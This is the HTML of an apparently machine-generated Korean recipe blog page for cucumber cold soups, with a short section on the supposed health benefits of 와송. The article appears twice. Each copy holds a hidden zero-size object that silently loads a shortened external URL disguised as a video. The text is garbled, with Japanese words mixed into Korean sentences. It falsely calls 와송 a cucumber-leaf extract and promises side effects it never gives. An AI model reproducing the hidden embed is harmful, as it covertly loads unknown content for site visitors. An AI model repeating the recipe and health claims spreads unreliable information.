<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4"></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:29">여름 반찬의 대표, 시원한 오이지국과 오이냉국!</h2><p data-sourcepos="3:1-3:189">무더운 여름철 식사를 더욱 맛있게 즐길 수 있는 대표적인 반찬이 바로 오이지국과 오이냉국입니다. 오이 특유의 시원하고 상큼한 맛으로 입맛을 돋우고, 다양한 영양소를 공급하여 건강에도 도움을 줍니다. 오늘은 오이지국과 오이냉국을 집에서 간편하게 만들 수 있는 방법과 맛있는 비결, 그리고 와송의 효능과 부작용에 대한 정보까지 알아보겠습니다.</p><p data-sourcepos="5:1-5:15"><strong>1. 오이지국 만들기</strong></p><p data-sourcepos="7:1-7:6"><strong>재료</strong></p><ul data-sourcepos="9:1-20:0">
<li data-sourcepos="9:1-9:7">오이 2개</li>
<li data-sourcepos="10:1-10:10">멸치 육수 4컵</li>
<li data-sourcepos="11:1-11:9">양파 1/2개</li>
<li data-sourcepos="12:1-12:9">실파 1/4개</li>
<li data-sourcepos="13:1-13:9">청양고추 1개</li>
<li data-sourcepos="14:1-14:10">홍고추 1/2개</li>
<li data-sourcepos="15:1-15:11">다진 마늘 1큰술</li>
<li data-sourcepos="16:1-16:8">참깨 1큰술</li>
<li data-sourcepos="17:1-17:12">소금 1/2 작은술</li>
<li data-sourcepos="18:1-18:7">후추 약간</li>
<li data-sourcepos="19:1-20:0">얼음適量</li>
</ul><p data-sourcepos="21:1-21:10"><strong>만드는 방법</strong></p><ol data-sourcepos="23:1-29:0">
<li data-sourcepos="23:1-23:49">오이는 송송 썰어 소금물에 10분 정도 담가 둔 후 찬물로 헹궈 물기를 제거합니다.</li>
<li data-sourcepos="24:1-24:22">양파와 실파는 채 썰어 준비합니다.</li>
<li data-sourcepos="25:1-25:34">청양고추와 홍고추는 씨를 제거하고 얇게 썰어 준비합니다.</li>
<li data-sourcepos="26:1-26:24">멸치 육수를 끓여 낸 후 식혀おきます.</li>
<li data-sourcepos="27:1-27:58">큰 그릇에 오이, 양파, 실파, 청양고추, 홍고추, 다진 마늘, 참깨를 넣고 멸치 육수를 붓습니다.</li>
<li data-sourcepos="28:1-29:0">소금과 후추로 간을 맞춘 후 얼음을 넣고 잘 섞어完成です.</li>
</ol><p data-sourcepos="30:1-30:5"><strong>팁</strong></p><ul data-sourcepos="32:1-35:0">
<li data-sourcepos="32:1-32:35">오이 대신 시원한 맛을 더하기 위해 가지를 넣어도 좋습니다.</li>
<li data-sourcepos="33:1-33:57">매운 것을 좋아한다면 고춧가루를 추가하거나, 매운맛을 줄이고 싶다면 생강즙을 조금 넣어도 좋습니다.</li>
<li data-sourcepos="34:1-35:0">취향에 따라 다진 마늘 대신 마늘 간이나 마늘즙을 사용해도 좋습니다.</li>
</ul><p data-sourcepos="36:1-36:15"><strong>2. 오이냉국 만들기</strong></p><p data-sourcepos="38:1-38:6"><strong>재료</strong></p><ul data-sourcepos="40:1-48:0">
<li data-sourcepos="40:1-40:7">오이 2개</li>
<li data-sourcepos="41:1-41:6">물 4컵</li>
<li data-sourcepos="42:1-42:10">멸치액젓 3큰술</li>
<li data-sourcepos="43:1-43:9">매실액 4큰술</li>
<li data-sourcepos="44:1-44:8">설탕 2큰술</li>
<li data-sourcepos="45:1-45:9">식초 60ml</li>
<li data-sourcepos="46:1-46:11">다진 마늘 1큰술</li>
<li data-sourcepos="47:1-48:0">얼음適量</li>
</ul><p data-sourcepos="49:1-49:10"><strong>만드는 방법</strong></p><ol data-sourcepos="51:1-54:0">
<li data-sourcepos="51:1-51:49">오이는 송송 썰어 소금물에 10분 정도 담가 둔 후 찬물로 헹궈 물기를 제거합니다.</li>
<li data-sourcepos="52:1-52:72">큰 그릇에 오이, 물, 멸치액젓, 매실액, 설탕, 식초, 다진 마늘을 넣고 잘 섞어 냉장고에 30분 이상 차갑게 놓아둡니다.</li>
<li data-sourcepos="53:1-54:0">얼음을 넣고 잘 섞어 완성합니다.</li>
</ol><p data-sourcepos="55:1-55:5"><strong>팁</strong></p><ul data-sourcepos="57:1-60:0">
<li data-sourcepos="57:1-57:35">오이 대신 시원한 맛을 더하기 위해 가지를 넣어도 좋습니다.</li>
<li data-sourcepos="58:1-58:57">매운 것을 좋아한다면 고춧가루를 추가하거나, 매운맛을 줄이고 싶다면 생강즙을 조금 넣어도 좋습니다.</li>
<li data-sourcepos="59:1-60:0">취향에 따라 다진 마늘 대신 마늘 간이나 마늘즙을 사용해도 좋습니다.</li>
</ul><p data-sourcepos="61:1-61:18"><strong>3. 와송의 효능과 부작용</strong></p><p data-sourcepos="63:1-63:82">와송은 오이 잎에서 추출한 추출물로, 다양한 건강상의 이점을 제공하는 것으로 알려져 있습니다. 와송의 주요 효능으로는 다음과 같은 것들이 있습니다.</p><ul data-sourcepos="65:1-66:55">
<li data-sourcepos="65:1-65:122"><strong>피부 건강 개선:</strong> 와송에는 항산화 성분이 풍부하게 함유되어 있어 피부 노화를 방지하고, 잡티와 주름을 개선하는 데 도움을 줍니다. 또한, 와송은 피부 염증을 완화하고, 피부 탄력을 높이는 데에도 효과적입니다.</li>
<li data-sourcepos="66:1-66:55"><strong>혈압 조절:</strong> 와송에는 칼륨이 풍부하게 함유되어 있어 혈압을 조절하는 데 도움을 줍니다.</li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:29">여름 반찬의 대표, 시원한 오이지국과 오이냉국!</h2><p data-sourcepos="3:1-3:189">무더운 여름철 식사를 더욱 맛있게 즐길 수 있는 대표적인 반찬이 바로 오이지국과 오이냉국입니다. 오이 특유의 시원하고 상큼한 맛으로 입맛을 돋우고, 다양한 영양소를 공급하여 건강에도 도움을 줍니다. 오늘은 오이지국과 오이냉국을 집에서 간편하게 만들 수 있는 방법과 맛있는 비결, 그리고 와송의 효능과 부작용에 대한 정보까지 알아보겠습니다.</p><p data-sourcepos="5:1-5:15"><strong>1. 오이지국 만들기</strong></p><p data-sourcepos="7:1-7:6"><strong>재료</strong></p><ul data-sourcepos="9:1-20:0">
<li data-sourcepos="9:1-9:7">오이 2개</li>
<li data-sourcepos="10:1-10:10">멸치 육수 4컵</li>
<li data-sourcepos="11:1-11:9">양파 1/2개</li>
<li data-sourcepos="12:1-12:9">실파 1/4개</li>
<li data-sourcepos="13:1-13:9">청양고추 1개</li>
<li data-sourcepos="14:1-14:10">홍고추 1/2개</li>
<li data-sourcepos="15:1-15:11">다진 마늘 1큰술</li>
<li data-sourcepos="16:1-16:8">참깨 1큰술</li>
<li data-sourcepos="17:1-17:12">소금 1/2 작은술</li>
<li data-sourcepos="18:1-18:7">후추 약간</li>
<li data-sourcepos="19:1-20:0">얼음適量</li>
</ul><p data-sourcepos="21:1-21:10"><strong>만드는 방법</strong></p><ol data-sourcepos="23:1-29:0">
<li data-sourcepos="23:1-23:49">오이는 송송 썰어 소금물에 10분 정도 담가 둔 후 찬물로 헹궈 물기를 제거합니다.</li>
<li data-sourcepos="24:1-24:22">양파와 실파는 채 썰어 준비합니다.</li>
<li data-sourcepos="25:1-25:34">청양고추와 홍고추는 씨를 제거하고 얇게 썰어 준비합니다.</li>
<li data-sourcepos="26:1-26:24">멸치 육수를 끓여 낸 후 식혀おきます.</li>
<li data-sourcepos="27:1-27:58">큰 그릇에 오이, 양파, 실파, 청양고추, 홍고추, 다진 마늘, 참깨를 넣고 멸치 육수를 붓습니다.</li>
<li data-sourcepos="28:1-29:0">소금과 후추로 간을 맞춘 후 얼음을 넣고 잘 섞어完成です.</li>
</ol><p data-sourcepos="30:1-30:5"><strong>팁</strong></p><ul data-sourcepos="32:1-35:0">
<li data-sourcepos="32:1-32:35">오이 대신 시원한 맛을 더하기 위해 가지를 넣어도 좋습니다.</li>
<li data-sourcepos="33:1-33:57">매운 것을 좋아한다면 고춧가루를 추가하거나, 매운맛을 줄이고 싶다면 생강즙을 조금 넣어도 좋습니다.</li>
<li data-sourcepos="34:1-35:0">취향에 따라 다진 마늘 대신 마늘 간이나 마늘즙을 사용해도 좋습니다.</li>
</ul><p data-sourcepos="36:1-36:15"><strong>2. 오이냉국 만들기</strong></p><p data-sourcepos="38:1-38:6"><strong>재료</strong></p><ul data-sourcepos="40:1-48:0">
<li data-sourcepos="40:1-40:7">오이 2개</li>
<li data-sourcepos="41:1-41:6">물 4컵</li>
<li data-sourcepos="42:1-42:10">멸치액젓 3큰술</li>
<li data-sourcepos="43:1-43:9">매실액 4큰술</li>
<li data-sourcepos="44:1-44:8">설탕 2큰술</li>
<li data-sourcepos="45:1-45:9">식초 60ml</li>
<li data-sourcepos="46:1-46:11">다진 마늘 1큰술</li>
<li data-sourcepos="47:1-48:0">얼음適量</li>
</ul><p data-sourcepos="49:1-49:10"><strong>만드는 방법</strong></p><ol data-sourcepos="51:1-54:0">
<li data-sourcepos="51:1-51:49">오이는 송송 썰어 소금물에 10분 정도 담가 둔 후 찬물로 헹궈 물기를 제거합니다.</li>
<li data-sourcepos="52:1-52:72">큰 그릇에 오이, 물, 멸치액젓, 매실액, 설탕, 식초, 다진 마늘을 넣고 잘 섞어 냉장고에 30분 이상 차갑게 놓아둡니다.</li>
<li data-sourcepos="53:1-54:0">얼음을 넣고 잘 섞어 완성합니다.</li>
</ol><p data-sourcepos="55:1-55:5"><strong>팁</strong></p><ul data-sourcepos="57:1-60:0">
<li data-sourcepos="57:1-57:35">오이 대신 시원한 맛을 더하기 위해 가지를 넣어도 좋습니다.</li>
<li data-sourcepos="58:1-58:57">매운 것을 좋아한다면 고춧가루를 추가하거나, 매운맛을 줄이고 싶다면 생강즙을 조금 넣어도 좋습니다.</li>
<li data-sourcepos="59:1-60:0">취향에 따라 다진 마늘 대신 마늘 간이나 마늘즙을 사용해도 좋습니다.</li>
</ul><p data-sourcepos="61:1-61:18"><strong>3. 와송의 효능과 부작용</strong></p><p data-sourcepos="63:1-63:82">와송은 오이 잎에서 추출한 추출물로, 다양한 건강상의 이점을 제공하는 것으로 알려져 있습니다. 와송의 주요 효능으로는 다음과 같은 것들이 있습니다.</p><ul data-sourcepos="65:1-66:55">
<li data-sourcepos="65:1-65:122"><strong>피부 건강 개선:</strong> 와송에는 항산화 성분이 풍부하게 함유되어 있어 피부 노화를 방지하고, 잡티와 주름을 개선하는 데 도움을 줍니다. 또한, 와송은 피부 염증을 완화하고, 피부 탄력을 높이는 데에도 효과적입니다.</li>
<li data-sourcepos="66:1-66:55"><strong>혈압 조절:</strong> 와송에는 칼륨이 풍부하게 함유되어 있어 혈압을 조절하는 데 도움을 줍니다.</li>
</ul></div>
</div></div>
<!-- -->
